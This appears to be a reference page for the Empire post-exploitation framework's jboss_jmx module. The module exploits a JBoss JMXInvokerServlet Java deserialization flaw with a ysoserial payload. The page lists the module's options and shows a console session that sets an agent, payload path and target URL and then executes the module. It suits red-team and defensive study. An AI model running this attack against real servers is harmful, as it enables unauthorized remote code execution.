Jboss JMXInvoker Java Serialization Exploitation - Empire Module


This page contains detailed information about how to use the python/exploit/web/jboss_jmx Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Jboss JMXInvoker Java Serialization Exploitation
Module: python/exploit/web/jboss_jmx
Source code: empire/server/modules/python/exploit/web/jboss_jmx.yaml
MITRE ATT&CK: T1210
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The jboss_jmx module exploits JBoss java serialization flaw. Requires upload of ysoserial payload.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the jboss_jmx module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the jboss_jmx module:

Agent
Agent to execute on.

Payload
Path to ysoserial payload.

URL
URL to JMXInvoker.
Default value: http://127.0.0.1:8080/invoker/JMXInvokerServlet.

Jboss_jmx Example Usage

Here's an example of how to use the jboss_jmx module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule python/exploit/web/jboss_jmx

 Author       @424f424f                                                           
 Background   False                                                               
 Comments     Generate Payload with https://github.com/frohoff/ysoserial          
 Description  Exploit JBoss java serialization flaw. Requires upload of ysoserial 
              payload.                                                            
 Language     python                                                              
 Name         python/exploit/web/jboss_jmx                                        
 NeedsAdmin   False                                                               
 OpsecSafe    False                                                               
 Techniques   http://attack.mitre.org/techniques/T1210                            


,Record Options---------------------------------,----------,----------------------------,
| Name    | Value                               | Required | Description                |
|---------|-------------------------------------|----------|----------------------------|
| Agent   |                                     | True     | Agent to execute on.       |
|---------|-------------------------------------|----------|----------------------------|
| Payload |                                     | True     | Path to ysoserial payload. |
|---------|-------------------------------------|----------|----------------------------|
| URL     | http://127.0.0.1:8080/invoker/JMXIn | True     | URL to JMXInvoker          |
|         | vokerServlet                        |          |                            |
'---------'-------------------------------------'----------'----------------------------'

(Empire: usemodule/python/exploit/web/jboss_jmx) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/exploit/web/jboss_jmx) > set Payload value
[*] Set Payload to value
(Empire: usemodule/python/exploit/web/jboss_jmx) > set URL http://127.0.0.1:8080/invoker/JMXInvokerServlet
[*] Set URL to http://127.0.0.1:8080/invoker/JMXInvokerServlet
(Empire: usemodule/python/exploit/web/jboss_jmx) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.